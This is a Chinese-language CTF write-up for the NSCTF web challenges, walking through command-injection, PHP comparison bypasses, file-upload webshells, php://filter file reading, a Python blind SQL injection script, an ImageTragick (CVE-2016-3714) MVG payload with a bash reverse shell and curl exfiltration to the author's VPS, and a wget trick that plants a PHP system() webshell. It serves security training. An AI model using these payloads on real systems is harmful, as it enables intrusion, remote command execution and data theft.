NSCTF-Web-WriteUp

16-39-21.jpg

Web-writeup

1.Web签到题

典型签到题,点开网址是一个主办方打广告的主页,想必是跳转了。burp抓一下包就找到flag了。

16-22-22.png

2.Web2-少年你真的会使用PING吗?

16-22-29.jpg

进去是一个类似于shell的东西,输个百度地址也能ping通。应该是命令执行绕过。

16-22-36.jpg

一试果然,所以直接cat%20flag_is_here.php,发现没返回,怕是过滤了,用tac命令试一下,成功返回flag。

16-22-43.jpg

3.Web3

16-23-00.jpg

随便输入admin信息看一下反应

16-23-06.png

多post了一个name参数
去掉name参数会出现源码,文字已经提示了代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if(isset($_POST['login'])){
if(isset($_POST['user']))
{
if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名
{
die('user错误!');
}
}
if (isset($_POST['name']) && isset($_POST['password']))
{
if ($_POST['name'] == $_POST['password'] )
{
die('账号密码不能一致!');
}
if (md5($_POST['name']) === md5($_POST['password']))
{
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id'])){
if($_POST['id']==72)
die("flag{xxxxxxxxxxxxx}");
else
die("ID错误2!");}
else{die("ID错误1!");}
}else{
die('账号密码错误!');}
}

根据代码分析,最后POST的参数是user[]=&password[]=&id=072&login=Check&name[]=1
就能绕过了

16-24-01.jpg

3.Web4文件上传

不多说,一个文件上传绕过,甚至还有tips
直接找个php一句话木马传上去,看看过滤了什么

16-24-42.jpg

经过试验,后缀名过滤了php,文件内容过滤了<?php等关键字。
后缀名可以用.phtml绕过,内容使用<script language=”php”>code</script>绕过
上传成功后访问你上传的木马就会得到flag

16-24-47.jpg

5.Web6-Vulhub

16-24-53.jpg

题目一开始给的范围有点大,一开始看到留言,以为XSS,看到提示url_include_open=on,以为文件包含,通过about页面的参数

1
?f=php://filter/read=convert.base64-encode/resource=xxx.php

就会得到base64编码后的xxx.php的源码。

16-24-57.png

解码后

16-25-03.png

发现一个flag.php,解码后提示flag在数据库中。。。又是一个坑

16-25-09.jpg

随找注入点。
留言的地方发留言用burp截断之后,response返回的是一串sql语句+username。

1
INSERT INTO XXX SET(username,content,data) VALUES (‘xxx’,’xxx’,now())

16-25-13.png

这个地方这么明显的提示,当然是注入啊。。。
发现username和content都是有addslashes()转义的。我还以为有什么神操作可以绕过,一直在这耗,毕竟提示都打印sql语句了。最后还是没得办法,2333
最后发现这是个坑,真正的注入点是一个search留言的get参数,欲哭无泪。
最后用盲注高出flag了
POC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests,re
url = "http://116.62.63.190:8002/ee00f46afe33f2ff/web6//search.php?search=a"
# 5'or%20ord(substr((Select%0bcolumncolumn_name_name%20%0bfromfrom%20%20informatioinformation_schema.columnsn_schema.columns%20%20wherewhere%20%0btable_name='flag'%20limit%20{},1),{},1))%26{}%20or%20'1'='0
# payload="5'or%20ord(substr((/*!50000Select*/%0bflag%20from%20web1.flag%20%20where%201%0b%20limit%20{},1),{},1))%26{}%20or%20'1'='0"
payload = "'or%20ord(substr((/*!50000Select*/%0badmin_pass%20from%20ctf4.admin%20where%201%20limit%20{},1),{},1))%26{}%23"
l = [1,2,4,8,16,32,64]
for i in xrange(100):
str=""
for j in xrange(1,100):
num=0
for t in l:
html = requests.get(url+payload.format(i,j,t)).text
if "111111" in html:
num+=t
if num==0:
break
str+=chr(num)
print str+"_"
print str
if str=="":
break
print "============================"
print "End"

本题总结:

可以找到的切入点太多(坑太多),混淆视听,实际考察的东西却过于简单,可能是我想太多了吧2333

6.Web7-imagemagick

500分的题目,还是挺有难度的,考查的是一个去年的imagemagick远程执行漏洞(CVE-2016-3714)
freebuf上有分析http://www.freebuf.com/vuls/103504.html

一开始没给提示,然后给个phpinfo,然后下午不知道什么时候再给了一个图片才知道是这个漏洞。。(出题人也是无力吐槽,各种改题不提示,环境还迟迟未搭建好)

16-25-45.jpg

网上查到exploit,

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://公网ip/image.jpg"||bash -i >& /dev/tcp/你的vps/9999 0>&1")'
pop graphic-context

将exploit变成一个图片的内容保存起来,格式png,Jpg都是可以的,
我是改成.mvg,然后burp截包吧Content-Type改成image/jpeg,因为漏洞主要是用了ImageMagick处理图片转换格式的时候遇到畸形内容的图片,使用system函数处理https请求然后导致漏洞产生。直接上传png,jpg没试过,大家可以试试。
上面的exp是执行命令反弹shell的,我没有成功反弹,随改成请求我的vps,然后侦听端口,把想要的结果用cookie传过来。
我的exploit:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://www.baidu.com/img/bd_logo1.png"|curl --cookie \"name=`ls`\" http://我的vps IP:2502 ")'
pop graphic-context

先开启VPS侦听端口
把这个exp保存为图片后上传会执行’ls’命令,然后将ls命令执行结果存为name=结果的cookie,然后再通过curl发送cookie到我的vps上。

16-26-31.jpg

提示flag在tmp里面

改一下命令

1
fill 'url(https://www.baidu.com/img/bd_logo1.png"|curl --cookie \"name=`ls /tmp |grep flag `\" http://我的vps IP:2502 ")'

VPS接收到的是

16-26-42.jpg

随后

1
fill 'url(https://www.baidu.com/img/bd_logo1.png"|curl --cookie \"name=`cat /tmp/flag.txt`\" http://我的vps IP:2502 ")'

16-27-13.jpg

本题总结:

由于本人开始写exploit的时候忽略了一些细节,导致cookie传不出来,也想不到其他传出命令执行结果的方法,故在比赛结束后几分钟才解得flag,丢失了500分,贼气。说明还是得熟悉linux操作、提升漏洞复现,随机应变的能力。

7.Web8-Git泄露

说是送分题,其实也拖了挺久时间的。。。也许因为太菜吧

16-28-52.jpg

进去提示url=git
但是修改url,没有任何反应
可能这就是传说中的提示吧

用Githack扫一下地址就能得到flag了

16-28-58.jpg

打开83c0eb95cf761515fe09c2ad39527a39.txt

16-29-10.jpgBase64解得:

16-29-43.png

flag:{86045abb89db3e841f68593e3ecb7993}

8.Web9-Wget

比赛的时候没有做出来这道题,比赛后才知道这种思路。
一开始以为绕过wget命令,因为是批量下载,没有绕过。
发现可以用wget的参数-P指定目录-O指定文件名字
但是随便输入一个地址会发现Permission Denied

16-29-53.png

说明当前目录不可写
然后我就搁置在这了,主要是源码注释里面存在一个admin.php
一直在想这个admin.php有啥用

16-30-25.jpg 16-30-29.jpg

一直在纠结这个
然后自己写出来后才知道,没卵用。我的心情是复杂的。

接着目录不可写,发现上上级目录/var/www/html是可写的
Payload为

1
-P /var/www/haml -O+/var/www/html/wz.php http://我的VPS/code.txt

会发现已经写入

16-32-02.jpg

我的VPS上的Code.txt的内容是一个一句话木马:

1
2
3
4
My code
<?php
System($_POST[“code”]);
?>

随后访问http://116.62.63.190:8005/wz.php,发现一句话已经写入了

16-32-09.jpg

接着就是找flag了。
最后在/var/www/html/4b0cf03220fefbf6/web9/flag.php下找到flag

16-32-16.jpg

Web题结束



----- 感谢阅读 -----